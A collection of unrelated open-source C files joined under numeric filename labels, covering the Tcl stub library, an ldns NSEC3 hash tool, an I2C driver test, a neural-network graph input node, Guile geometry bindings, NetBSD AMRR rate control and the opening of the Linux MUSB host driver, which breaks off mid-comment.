/* * tclStubLib.c -- * * Stub object that will be statically linked into extensions that wish * to access Tcl. * * Copyright (c) 1998-1999 by Scriptics Corporation. * Copyright (c) 1998 Paul Duffin. * * See the file "license.terms" for information on usage and redistribution * of this file, and for a DISCLAIMER OF ALL WARRANTIES. * * RCS: @(#) $Id: tclStubLib.c,v 1.4 1999/05/25 01:00:27 stanton Exp $ */ /* * We need to ensure that we use the stub macros so that this file contains * no references to any of the stub functions. This will make it possible * to build an extension that references Tcl_InitStubs but doesn't end up * including the rest of the stub functions. */ #ifndef USE_TCL_STUBS #define USE_TCL_STUBS #endif #undef USE_TCL_STUB_PROCS #include "tclInt.h" #include "tclPort.h" /* * Ensure that Tcl_InitStubs is built as an exported symbol. The other stub * functions should be built as non-exported symbols. */ #undef TCL_STORAGE_CLASS #define TCL_STORAGE_CLASS DLLEXPORT TclStubs *tclStubsPtr; TclPlatStubs *tclPlatStubsPtr; TclIntStubs *tclIntStubsPtr; TclIntPlatStubs *tclIntPlatStubsPtr; static TclStubs * HasStubSupport _ANSI_ARGS_((Tcl_Interp *interp)); static TclStubs * HasStubSupport (interp) Tcl_Interp *interp; { Interp *iPtr = (Interp *) interp; if (iPtr->stubTable && (iPtr->stubTable->magic == TCL_STUB_MAGIC)) { return iPtr->stubTable; } interp->result = "This interpreter does not support stubs-enabled extensions."; interp->freeProc = TCL_STATIC; return NULL; } /* *---------------------------------------------------------------------- * * Tcl_InitStubs -- * * Tries to initialise the stub table pointers and ensures that * the correct version of Tcl is loaded. * * Results: * The actual version of Tcl that satisfies the request, or * NULL to indicate that an error occurred. * * Side effects: * Sets the stub table pointers. * *---------------------------------------------------------------------- */ #ifdef Tcl_InitStubs #undef Tcl_InitStubs #endif char * Tcl_InitStubs (interp, version, exact) Tcl_Interp *interp; char *version; int exact; { char *actualVersion; TclStubs *tmp; if (!tclStubsPtr) { tclStubsPtr = HasStubSupport(interp); if (!tclStubsPtr) { return NULL; } } actualVersion = Tcl_PkgRequireEx(interp, "Tcl", version, exact, (ClientData *) &tmp); if (actualVersion == NULL) { tclStubsPtr = NULL; return NULL; } if (tclStubsPtr->hooks) { tclPlatStubsPtr = tclStubsPtr->hooks->tclPlatStubs; tclIntStubsPtr = tclStubsPtr->hooks->tclIntStubs; tclIntPlatStubsPtr = tclStubsPtr->hooks->tclIntPlatStubs; } else { tclPlatStubsPtr = NULL; tclIntStubsPtr = NULL; tclIntPlatStubsPtr = NULL; } return actualVersion; }
54164.c
/* * ldns-signzone signs a zone file * * (c) NLnet Labs, 2005 - 2008 * See the file LICENSE for the license */ #include "config.h" #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <time.h> #include <ldns/ldns.h> #include <ldns/keys.h> #ifdef HAVE_SSL #include <openssl/conf.h> #include <openssl/engine.h> #endif /* HAVE_SSL */ #define MAX_FILENAME_LEN 250 int verbosity = 1; static void usage(FILE *fp, const char *prog) { fprintf(fp, "%s [OPTIONS] <domain name>\n", prog); fprintf(fp, " prints the NSEC3 hash of the given domain name\n"); fprintf(fp, "-a [algorithm] hashing algorithm\n"); fprintf(fp, "-t [number] number of hash iterations\n"); fprintf(fp, "-s [string] salt\n"); } int main(int argc, char *argv[]) { ldns_rdf *dname, *hashed_dname; uint8_t nsec3_algorithm = 1; size_t nsec3_iterations_cmd = 1; uint16_t nsec3_iterations = 1; uint8_t nsec3_salt_length = 0; uint8_t *nsec3_salt = NULL; char *prog = strdup(argv[0]); int c; while ((c = getopt(argc, argv, "a:s:t:")) != -1) { switch (c) { case 'a': nsec3_algorithm = (uint8_t) atoi(optarg); break; case 's': if (strlen(optarg) % 2 != 0) { fprintf(stderr, "Salt value is not valid hex data, not a multiple of 2 characters\n"); exit(EXIT_FAILURE); } if (strlen(optarg) > 512) { fprintf(stderr, "Salt too long\n"); exit(EXIT_FAILURE); } nsec3_salt_length = (uint8_t) (strlen(optarg) / 2); nsec3_salt = LDNS_XMALLOC(uint8_t, nsec3_salt_length); for (c = 0; c < (int) strlen(optarg); c += 2) { if (isxdigit((int) optarg[c]) && isxdigit((int) optarg[c+1])) { nsec3_salt[c/2] = (uint8_t) ldns_hexdigit_to_int(optarg[c]) * 16 + ldns_hexdigit_to_int(optarg[c+1]); } else { fprintf(stderr, "Salt value is not valid hex data.\n"); exit(EXIT_FAILURE); } } break; case 't': nsec3_iterations_cmd = (size_t) atol(optarg); if (nsec3_iterations_cmd > LDNS_NSEC3_MAX_ITERATIONS) { fprintf(stderr, "Iterations count can not exceed %u, quitting\n", LDNS_NSEC3_MAX_ITERATIONS); exit(EXIT_FAILURE); } nsec3_iterations = (uint16_t) nsec3_iterations_cmd; break; default: usage(stderr, prog); exit(EXIT_SUCCESS); } } argc -= optind; argv += optind; if (argc < 1) { printf("Error: not enough arguments\n"); usage(stdout, prog); exit(EXIT_FAILURE); } else { dname = ldns_dname_new_frm_str(argv[0]); if (!dname) { fprintf(stderr, "Error: unable to parse domain name\n"); return EXIT_FAILURE; } hashed_dname = ldns_nsec3_hash_name(dname, nsec3_algorithm, nsec3_iterations, nsec3_salt_length, nsec3_salt); if (!hashed_dname) { fprintf(stderr, "Error creating NSEC3 hash\n"); return EXIT_FAILURE; } ldns_rdf_print(stdout, hashed_dname); printf("\n"); ldns_rdf_deep_free(dname); ldns_rdf_deep_free(hashed_dname); } if (nsec3_salt) { free(nsec3_salt); } free(prog); return EXIT_SUCCESS; }
73622.c
/* these test were created to show how to use the opencores I2C along with a driver found in * the I2C_opencores component to talk to various components. * This test example uses a littel daughter board from microtronix * it has a I2c to parallel chip (PCA9554A) a EEPORM and real time clock. * I chose not to impliment the real time clock. * But you can see how the calls work * There are only 4 functions associalted with the I2C driver * I2C start - send start bit and address of the chip * I2C_read - read data * I2C_write. - write data * how and when each of these get used is based on the device you * are talking to. * See the driver code for details of each function. * */ #include <stdio.h> #include "system.h" #include "i2c_opencores.h" int main() { int data; int i; // testing the PCA9554A paralle interface // this writes a 5 to the leds and read the position of the dip switches. printf(" tesing the PCA9554A interface the\n the LEDS should be at a 5 \n"); // address 0x38 // set the fequesncy that you want to run at // most devices work at 100Khz some faster I2C_init(I2CA_BASE,ALT_CPU_FREQ,100000); I2C_init(I2CA_BASE,ALT_CPU_FREQ,100000); // for the parallel io only the first 4 are output s // the PCA9554A uses a command word right after the chip address word ( the start work) I2C_start(I2CA_BASE,0x38,0);// chip address in write mode I2C_write(I2CA_BASE,3,0); // write to register 3 command I2C_write(I2CA_BASE,0xf0,1); // set the bottom 4 bits to outputs for the LEDs set the stop // now right to the leds I2C_start(I2CA_BASE,0x38,0); // address the chip in write mode I2C_write(I2CA_BASE,1,0); // set command to the pca9554 to be output register I2C_write(I2CA_BASE,5,1); // write the data to the output register and set the stop //now read the dip switches // first set the command to 0 I2C_start(I2CA_BASE,0x38,0); //address the chip in write mode data = I2C_write(I2CA_BASE,0,0); // set command to read input register. I2C_start(I2CA_BASE,0x38,1); //send start again but this time in read mode data = I2C_read(I2CA_BASE,1); // read the input register and send stop data = 0xff & (data >>4); printf("dip switch 0x%x\n",data); printf("\nNow writing and reading from the EEPROM\n"); //address 0x50-57 I2C_start(I2CA_BASE,0x50,0); // chip address in write mode I2C_write(I2CA_BASE,0,0); // write to starting address of 0 // now write the data for (i=0;i<7;i++) // can only write 8 bites at a time { I2C_write(I2CA_BASE,i,0); // writ the data } I2C_write(I2CA_BASE,i,1); // write last one with last flag while ( I2C_start(I2CA_BASE,0x50,0)); // make sure the write is done be fore continuing. // can ony burst 8 at a time. I2C_write(I2CA_BASE,8,0); // write to starting address of 8 // now write the data for (i=0;i<7;i++) // write the next 8 bytes { I2C_write(I2CA_BASE,i+8,0); // } I2C_write(I2CA_BASE,i+8,1); // write last one with last flag while ( I2C_start(I2CA_BASE,0x50,0)); // make sure the write is done be fore continuing. //now read the values // first set the command to 0 I2C_start(I2CA_BASE,0x50,0); //set chip address and set to write/ I2C_write(I2CA_BASE,0,0); // set address to 0. I2C_start(I2CA_BASE,0x50,1); //set chip address in read mode for (i=0;i<15;i++) { data = I2C_read(I2CA_BASE,0); // memory array printf("\tdata = 0x%x\n",data); } data = I2C_read(I2CA_BASE,1); // last memory read printf("\tdata = 0x%x\n",data); printf("Hello from Nios II!\n"); return 0; }
504652.c
/* * Copyright (c) 2016-2019, The Linux Foundation. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted (subject to the limitations in the * disclaimer below) provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * * Neither the name of The Linux Foundation nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE * GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT * HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include <nn_graph.h> #include <nn_asm_ops.h> #include <string.h> /* * * Now that that's out of the way, let's get to the good stuff. * * This contains the code for an input node. */ struct input_info { void *allocated_output; nn_sem_t donesem; }; #if 0 static void input_execute_worker(struct nn_graph *nn, void *vself) { struct nn_node *self = vself; int i; struct tensor *out; const struct tensor *in; struct input_info *info = self->opaque; /* Copy input tensor to output */ logmsg(nn,2,"input execute. self=%p ",self); for (i = 0; i < self->n_outputs; i++) { out = self->outputs[i]; in = &nn->inputs[i]; /* Warning! Inputs come in as max_size not data_size! */ logmsg(nn,9,"in: [%d,%d,%d,%d] size=%d", in->shape.batches, in->shape.height, in->shape.width, in->shape.depth, in->max_size); if (out->max_size < in->max_size) { errlog(nn,"out too small (%lu < %lu)", out->max_size, in->max_size); out->shape.batches = 0; out->shape.height = 0; out->shape.width = 0; out->shape.depth = 0; out->data_size = 0; // Communicate the failure upward return; } out->shape = in->shape; out->format = in->format; out->data_size = in->data_size; vmemcpy_asm(out->data,in->data,in->max_size); } nn_sem_post(&info->donesem); logmsg(nn,2,"input %d tensors",nn->n_inputs); } #endif static int input_execute_multibatch(struct nn_node *self, struct nn_graph *nn); // is endptr[delt-1] in a different page from endptr[-1], // where 'page' is defined by pagesize (which must be a power of 2)? // static inline int page_cross_check( void const *endptr, int delt, unsigned pagesize) { uint8_t const *p =endptr; size_t pos0 = (size_t)(p-1); size_t pos1 = (size_t)(p-1+delt); return ((pos0^pos1) &~(size_t)(pagesize-1))!=0; } static int input_execute(struct nn_node *self, struct nn_graph *nn) { /* OPTIMIZE FAST PATH */ struct input_info *info = self->opaque; if (likely( (nn->n_inputs == self->n_outputs) && (self->n_outputs == 1) && nn->batchseq.graph_batches == 0 && ((((size_t)(nn->inputs[0].data)) & 127) == 0) && (0 != nn->inputs[0].data_size) //data_size == 0 can obviously cause problems with the page check below && !page_cross_check( (uint8_t const*)nn->inputs[0].data+nn->inputs[0].data_size, 256, 0x1000) )) { self->outputs[0]->shape = nn->inputs[0].shape; self->outputs[0]->format = nn->inputs[0].format; self->outputs[0]->data = nn->inputs[0].data; self->outputs[0]->data_size = nn->inputs[0].data_size; return 0; } else { self->outputs[0]->data = info->allocated_output; } if (nn->n_inputs != self->n_outputs) return errlog(nn,"Expected %d, got %d inputs",self->n_outputs,nn->n_inputs); if( nn->batchseq.graph_batches != 0 ){ return input_execute_multibatch(self,nn); } // copy tensors using multithread overlapped copy mechanism int errors = 0; struct nn_memcpy_manager mcman; nn_mcmanager_init(nn, &mcman ); // // Do not return without waiting for mcman // for (int i = 0; i < self->n_outputs; i++) { struct tensor *out = self->outputs[i]; struct tensor const *in = &nn->inputs[i]; /* Warning! Inputs come in as max_size not data_size! */ unsigned dsize = in->max_size; logmsg(nn,9,"in: [%d,%d,%d,%d] size=%d", in->shape.batches, in->shape.height, in->shape.width, in->shape.depth, dsize); if (out->max_size < dsize) { errlog(nn,"out %d too small (%lu < %lu)", i, out->max_size, dsize); out->shape.batches = 0; out->shape.height = 0; out->shape.width = 0; out->shape.depth = 0; out->data_size = 0; errors = 1; }else{ if( dsize > 0 ) nn_mcmanager_vmemcpy( nn, &mcman, out->data,in->data,dsize); out->shape = in->shape; out->format = in->format; out->data_size = dsize; } } nn_mcmanager_wait( nn, &mcman ); if( errors ) return -1; return 0; } // set up the batch slicing strategy: // Sets // bsp->total_batches = batches // bsp->n_iters, n_iters_1, batch_n1, batch_n2 // // So that n_iters_1 * batch_n1 + (n_iters-n_iters_1)*batch_n2 = batches // and batch_n1, batch_n2 both <= graph_batches, // and minimizing n_iters_1. // static void set_batch_slicing( struct nn_graph_batchseqstate * bsp, int batches ) { int graph_batches = bsp->graph_batches; int batch_quant = bsp->batch_quant; bsp->total_batches = batches; // determine the run strategy: we need to do 'batches' in runs of graph_batches. if( batches <= graph_batches ){ // <= 1 batch bsp->n_iters = bsp->n_iters_1 = 1; bsp->batch_n1 = batches; return; } // nruns >= 2 int nruns = (unsigned)( batches + (graph_batches-1))/(unsigned)graph_batches; bsp->n_iters = bsp->n_iters_1 = nruns; if( nruns * graph_batches == batches ){ // exact slicing bsp->batch_n1 = graph_batches; // divides into full runs. return; } if( (bsp->options & 1)== 0 ){ // does the work divide into batch_quant*nruns? unsigned nq = batch_quant*nruns; unsigned per_run = batches/nq; if( per_run*nq == batches ){ // yes it does bsp->batch_n1 = per_run*batch_quant; return; } } // ok, we've mostly run out of clever ideas. We will do all but 1 @ graph_batches, // and one odd; or we'll split the last two in two equal, if both are multiples // of quant unsigned last2rem = batches - graph_batches*(nruns-2); bsp->batch_n1 = graph_batches; if( last2rem % (unsigned)(2*batch_quant)== 0 ){ // split last two in 2. if( nruns == 2 ){ bsp->batch_n1 = last2rem >>1; }else{ bsp->n_iters_1 = nruns-2; bsp->batch_n2 = last2rem >>1; } }else{ bsp->n_iters_1 = nruns-1; bsp->batch_n2 = last2rem-graph_batches; } // one last thing: if n_iters_1 < nruns, we have at least one 'graph_batches' // followed by 1 or 2 smaller. If the previous exec did *not* end in 'graph_batches', // switch these around (more likely to a avoid a change in size across runs) // This can be disabled with bit 1 of the options. // if( bsp->n_iters_1 < nruns && (bsp->options & 2)== 0 && bsp->batchn != graph_batches ){ bsp->n_iters_1 = nruns - bsp->n_iters_1; // 1 or 2 bsp->batch_n1 = bsp->batch_n2; bsp->batch_n2 = graph_batches; } } static int input_execute_multibatch(struct nn_node *self, struct nn_graph *nn) { struct nn_batchseq_portdesc *inseq_desc = nn->batchseq.inseq_desc; int n_inputs = nn->n_inputs; if( nn->batchseq.iterno == 0 ){ // first time through if( inseq_desc == NULL ){ // need to allocate these inseq_desc = (struct nn_batchseq_portdesc *)nn_calloc( n_inputs, sizeof(struct nn_batchseq_portdesc)); if( inseq_desc == NULL) return errlog(nn,"alloc failed"); nn->batchseq.inseq_desc = inseq_desc; } int n_dimsel = nn->batchseq.n_dimsel_in; int32_t const * dimsels = nn->batchseq.dimsel_in; int dimsel = dimsels[0]; int batches = -1; for( int i = 0; i < n_inputs; i++ ){ if( i < n_dimsel) dimsel = dimsels[i]; if( dimsel < 0 ){ inseq_desc[i].batchsize = 0; }else{ struct tensor const * in_tens = &nn->inputs[i]; if( batches < 0 ) batches = in_tens->shape.dimension[dimsel]; uint32_t product = 1; for( int j = 0; j < 4; j++ ){ uint32_t d = in_tens->shape.dimension[j]; if( j == dimsel ){ if( d != batches ) return errlog(nn,"unexpected size on dim %d of input %d",j,i); if( product != 1) return errlog(nn, "unsupported slicing on input %d", i); }else{ product *= d; } } uint32_t batchsize = product * self->output_defs[i].elementsize; inseq_desc[i].batchsize = batchsize; if( batchsize*batches != in_tens->data_size ) return errlog(nn,"size mismatch on input %d, expected %d*%d got %d", i, batches, (int)batchsize, (int)in_tens->data_size); } } // determine the slicing strategy set_batch_slicing( &nn->batchseq, batches ); // set up the first slice nn->batchseq.batchn = nn->batchseq.batch_n1; nn->batchseq.batchoffs = 0; } // go through all the inputs and copy the data for the current batch unsigned batchoff = nn->batchseq.batchoffs; unsigned batch_n = nn->batchseq.batchn; logmsg(nn,1,"iteration %d: %d batches at %d within %d", (int)nn->batchseq.iterno, batch_n, batchoff, (int)nn->batchseq.total_batches); int errors = 0; struct nn_memcpy_manager mcman; nn_mcmanager_init(nn, &mcman ); // // Do not return without waiting for mcman // int n_dimsel = nn->batchseq.n_dimsel_in; int32_t const * dimsels = nn->batchseq.dimsel_in; int dimsel = dimsels[0]; for (int i = 0; i < n_inputs; i++) { struct tensor *out = self->outputs[i]; struct tensor const *in = &nn->inputs[i]; out->shape = in->shape; out->format = in->format; if( i < n_dimsel) dimsel = dimsels[i]; unsigned copysize=0; uint8_t const * src; if( dimsels < 0 ){ // direct copy copysize = in->max_size; src = (uint8_t const*)in->data; }else if( dimsel <=3){ // (already checked; guarding stores) unsigned batchsize = inseq_desc[i].batchsize; copysize = batchsize * batch_n; src = (uint8_t const*)in->data + batchsize * batchoff; out->shape.dimension[dimsel] = batch_n; } if( copysize > 0 ){ if( copysize > out->max_size){ errlog(nn,"output %d: size %d, need room for %d bytes", i, (int)out->max_size, (int)copysize); errors = 1; copysize = 0; }else{ logmsg(nn,3,"input %d: copy %d bytes @ offset %d",i, (int)copysize,(int)(src-(uint8_t const*)in->data)); nn_mcmanager_vmemcpy( nn, &mcman, out->data,src,copysize); } } out->data_size = copysize; } nn_mcmanager_wait( nn, &mcman ); if( errors) return -1; return 0; } static int input_check(struct nn_node *self, struct nn_graph *nn) { logmsg(nn,2,"Checking input node %p",self); int i; for (i = 0; i < self->n_outputs; i++) { if (self->outputs[i] == NULL) { return errlog(nn,0,"input: fatal: NULL output"); } } struct input_info *info; if (self->opaque == NULL) { if ((info = nn_calloc(1,sizeof(*info))) == NULL) return -1; } else { info = self->opaque; } nn_sem_init(&info->donesem,0); self->opaque = info; if(self->outputs) { //n_ouputs > 0 info->allocated_output = self->outputs[0]->data; } else { info->allocated_output = NULL; } logmsg(nn,2,"input node %p check OK",self); return 0; } static int input_dtor(struct nn_node *self, struct nn_graph *nn) { if (self->opaque) { nn_free(self->opaque); self->opaque = NULL; } return node_free_common(self,nn); } struct nn_node_ops nn_ops_for_INPUT = { .execute = input_execute, .check = input_check, .ctor = node_alloc_common, .dtor = input_dtor, .n_inputs = NN_IOCOUNT(0), .n_outputs = NN_IOCOUNT_GE(0), };
744400.c
#include <htl.h> #include <libguile.h> static HtlPoint scm_to_point(SCM value) { HtlPoint point; point.x = scm_to_int(scm_cadr(value)); point.y = scm_to_int(scm_caddr(value)); point.z = scm_to_int(scm_cadddr(value)); return point; } static SCM scm_from_point(HtlPoint value) { SCM point = scm_from_utf8_symbol("point"); SCM x = scm_from_int(value.x); SCM y = scm_from_int(value.y); SCM z = scm_from_int(value.z); return scm_list_4(point, x, y, z); } static HtlFace scm_to_face(SCM value) { HtlFace face; face.a = scm_to_point(scm_car(value)); face.b = scm_to_point(scm_cadr(value)); face.c = scm_to_point(scm_caddr(value)); return face; } static SCM scm_from_face(HtlFace face) { SCM a = scm_from_point(face.a); SCM b = scm_from_point(face.b); SCM c = scm_from_point(face.c); return scm_list_3(a, b, c); } SCM htl_face_equal_wrapper(SCM sf1, SCM sf2) { HtlFace nf1 = scm_to_face(sf1); HtlFace nf2 = scm_to_face(sf2); return scm_from_bool(htl_face_equal(nf1, nf2)); } SCM htl_face_point_orientation_wrapper(SCM sf, SCM sp) { HtlFace nf = scm_to_face(sf); HtlPoint np = scm_to_point(sp); return scm_from_int(htl_face_point_orientation(nf, np)); } SCM htl_face_lower_bound_wrapper(SCM sf) { HtlFace nf = scm_to_face(sf); HtlPoint nb = htl_face_lower_bound(nf); return scm_from_point(nb); } SCM htl_face_higher_bound_wrapper(SCM sf) { HtlFace nf = scm_to_face(sf); HtlPoint nb = htl_face_higher_bound(nf); return scm_from_point(nb); } static HtlSurface* scm_to_surface(SCM value) { return (HtlSurface*)scm_to_pointer(scm_cadr(value)); } static SCM scm_from_surface(HtlSurface* surface) { SCM tag = scm_from_utf8_symbol("surface"); SCM pointer = scm_from_pointer(surface, (scm_t_pointer_finalizer)htl_surface_unref); return scm_list_2(tag, pointer); } SCM htl_surface_add_all(SCM ss, SCM sfs) { HtlSurface* ns = scm_to_surface(ss); htl_surface_ref(ns); SCM i = sfs; while (scm_is_pair(i)) { HtlFace nf = scm_to_face(scm_car(i)); i = scm_cdr(i); HtlSurface* next = htl_surface_add(ns, nf); htl_surface_unref(ns); ns = next; } return scm_from_surface(ns); } static bool add_face(HtlFace face, SCM* list) { *list = scm_cons(scm_from_face(face), *list); return true; } SCM htl_surface_faces(SCM ss) { HtlSurface* ns = scm_to_surface(ss); SCM list = scm_list_n(SCM_UNDEFINED); htl_surface_traverse_faces(ns, (HtlFaceTraverseFunc)add_face, &list); return list; } SCM htl_surface_equal_wrapper(SCM ss1, SCM ss2) { HtlSurface* ns1 = scm_to_surface(ss1); HtlSurface* ns2 = scm_to_surface(ss2); bool equal = htl_surface_equal(ns1, ns2); return scm_from_bool(equal); } SCM htl_surface_contains_face_wrapper(SCM ss, SCM sf) { HtlSurface* ns = scm_to_surface(ss); HtlFace nf = scm_to_face(sf); return scm_from_bool(htl_surface_contains_face(ns, nf)); } SCM htl_surface_lower_bound_wrapper(SCM ss) { HtlSurface* ns = scm_to_surface(ss); HtlPoint nb = htl_surface_lower_bound(ns); return scm_from_point(nb); } SCM htl_surface_higher_bound_wrapper(SCM ss) { HtlSurface* ns = scm_to_surface(ss); HtlPoint nb = htl_surface_higher_bound(ns); return scm_from_point(nb); } SCM htl_surface_faces_at(SCM ss, SCM sl, SCM sh) { HtlSurface* ns = scm_to_surface(ss); HtlPoint nl = scm_to_point(sl); HtlPoint nh = scm_to_point(sh); SCM list = scm_list_n(SCM_UNDEFINED); htl_surface_traverse_faces_at(ns, nl, nh, (HtlFaceTraverseFunc)add_face, &list); return list; } void init_htl() { scm_c_define_gsubr("htl-face-equal", 2, 0, 0, htl_face_equal_wrapper); scm_c_define_gsubr( "htl-face-point-orientation", 2, 0, 0, htl_face_point_orientation_wrapper); scm_c_define_gsubr("htl-face-lower-bound", 1, 0, 0, htl_face_lower_bound_wrapper); scm_c_define_gsubr("htl-face-higher-bound", 1, 0, 0, htl_face_higher_bound_wrapper); scm_c_define_gsubr("htl-surface-add-all", 2, 0, 0, htl_surface_add_all); scm_c_define_gsubr("htl-surface-faces", 1, 0, 0, htl_surface_faces); scm_c_define_gsubr("htl-surface-equal", 2, 0, 0, htl_surface_equal_wrapper); scm_c_define_gsubr( "htl-surface-contains-face", 2, 0, 0, htl_surface_contains_face_wrapper); scm_c_define_gsubr("htl-surface-lower-bound", 1, 0, 0, htl_surface_lower_bound_wrapper); scm_c_define_gsubr("htl-surface-higher-bound", 1, 0, 0, htl_surface_higher_bound_wrapper); scm_c_define_gsubr("htl-surface-faces-at", 3, 0, 0, htl_surface_faces_at); }
262893.c
/* **** Notes Remove trails. */ # define CAR # include "./../../../incl/config.h" signed(__cdecl rm_trails_r(signed(arg),signed char(*cache),signed char(*argp))) { auto signed char *b = ("\t\n\r "); auto signed r; if(!arg) return(0x00); if(!argp) return(0x00); --argp; r = ord(b,*argp); if(!(r<(ct(b)))) { if(cache) { r = ord(cache,*argp); if(!(r<(ct(cache)))) return(0x00); }} *argp = (0x00); return(0x01+(rm_trails_r(--arg,cache,argp))); }
763346.c
#include<stdio.h> int fact(int m,int n) { int result=1; for(int i=m;n>0;i--,n--) result*=i; return result; } int fact_1(int n) { int k=1; for(int i=2;i<=n;i++) k*=i; return k; } int main() { int m,n; scanf("%d%d",&m,&n); printf("%d",fact(m,n)/fact_1(n)); return 0; }
979491.c
/* $NetBSD: ieee80211_amrr.c,v 1.2 2007/12/11 12:40:10 lukem Exp $ */ /* $OpenBSD: ieee80211_amrr.c,v 1.1 2006/06/17 19:07:19 damien Exp $ */ /*- * Copyright (c) 2006 * Damien Bergamini <[email protected]> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <special_includes/sys/cdefs.h> __KERNEL_RCSID(0, "$NetBSD: ieee80211_amrr.c,v 1.2 2007/12/11 12:40:10 lukem Exp $"); #include <special_includes/sys/param.h> #include <special_includes/sys/kernel.h> #include <special_includes/sys/socket.h> #include <special_includes/sys/sysctl.h> #include <net/if.h> #include <net/if_media.h> #ifdef INET #include <netinet/in.h> #include <netinet/if_ether.h> #endif #include <net80211/ieee80211.h> #include <net80211/ieee80211_var.h> #include <net80211/ieee80211_amrr.h> #define is_success(amn) \ ((amn)->amn_retrycnt < (amn)->amn_txcnt / 10) #define is_failure(amn) \ ((amn)->amn_retrycnt > (amn)->amn_txcnt / 3) #define is_enough(amn) \ ((amn)->amn_txcnt > 10) #define is_min_rate(ni) \ ((ni)->ni_txrate == 0) #define is_max_rate(ni) \ ((ni)->ni_txrate == (ni)->ni_rates.rs_nrates - 1) #define increase_rate(ni) \ ((ni)->ni_txrate++) #define decrease_rate(ni) \ ((ni)->ni_txrate--) #define reset_cnt(amn) \ do { (amn)->amn_txcnt = (amn)->amn_retrycnt = 0; } while (0) void ieee80211_amrr_node_init(struct ieee80211_amrr *amrr, struct ieee80211_amrr_node *amn) { amn->amn_success = 0; amn->amn_recovery = 0; amn->amn_txcnt = amn->amn_retrycnt = 0; amn->amn_success_threshold = amrr->amrr_min_success_threshold; } /* * Update ni->ni_txrate. */ void ieee80211_amrr_choose(struct ieee80211_amrr *amrr, struct ieee80211_node *ni, struct ieee80211_amrr_node *amn) { int need_change = 0; if (is_success(amn) && is_enough(amn)) { amn->amn_success++; if (amn->amn_success >= amn->amn_success_threshold && !is_max_rate(ni)) { amn->amn_recovery = 1; amn->amn_success = 0; increase_rate(ni); IEEE80211_DPRINTF(ni->ni_ic, IEEE80211_MSG_DEBUG, "AMRR increasing rate %d (txcnt=%d retrycnt=%d)\n", ni->ni_rates.rs_rates[ni->ni_txrate] & IEEE80211_RATE_VAL, amn->amn_txcnt, amn->amn_retrycnt); need_change = 1; } else { amn->amn_recovery = 0; } } else if (is_failure(amn)) { amn->amn_success = 0; if (!is_min_rate(ni)) { if (amn->amn_recovery) { amn->amn_success_threshold *= 2; if (amn->amn_success_threshold > amrr->amrr_max_success_threshold) amn->amn_success_threshold = amrr->amrr_max_success_threshold; } else { amn->amn_success_threshold = amrr->amrr_min_success_threshold; } decrease_rate(ni); IEEE80211_DPRINTF(ni->ni_ic, IEEE80211_MSG_DEBUG, "AMRR decreasing rate %d (txcnt=%d retrycnt=%d)\n", ni->ni_rates.rs_rates[ni->ni_txrate] & IEEE80211_RATE_VAL, amn->amn_txcnt, amn->amn_retrycnt); need_change = 1; } amn->amn_recovery = 0; } if (is_enough(amn) || need_change) reset_cnt(amn); }
165438.c
// SPDX-License-Identifier: GPL-2.0 /* * MUSB OTG driver host support * * Copyright 2005 Mentor Graphics Corporation * Copyright (C) 2005-2006 by Texas Instruments * Copyright (C) 2006-2007 Nokia Corporation * Copyright (C) 2008-2009 MontaVista Software, Inc. <[email protected]> */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/delay.h> #include <linux/sched.h> #include <linux/slab.h> #include <linux/errno.h> #include <linux/list.h> #include <linux/dma-mapping.h> #include "musb_core.h" #include "musb_host.h" #include "musb_trace.h" /* MUSB HOST status 22-mar-2006 * * - There's still lots of partial code duplication for fault paths, so * they aren't handled as consistently as they need to be. * * - PIO mostly behaved when last tested. * + including ep0, with all usbtest cases 9, 10 * + usbtest 14 (ep0out) doesn't seem to run at all * + double buffered OUT/TX endpoints saw stalls(!) with certain usbtest * configurations, but otherwise double buffering passes basic tests. * + for 2.6.N, for N > ~10, needs API changes for hcd framework. * * - DMA (CPPI) ... partially behaves, not currently recommended * + about 1/15 the speed of typical EHCI implementations (PCI) * + RX, all too often reqpkt seems to misbehave after tx * + TX, no known issues (other than evident silicon issue) * * - DMA (Mentor/OMAP) ...has at least toggle update problems * * - [23-feb-2009] minimal traffic scheduling to avoid bulk RX packet * starvation ... nothing yet for TX, interrupt, or bulk. * * - Not tested with HNP, but some SRP paths seem to behave. * * NOTE 24-August-2006: * * - Bulk traffic finally 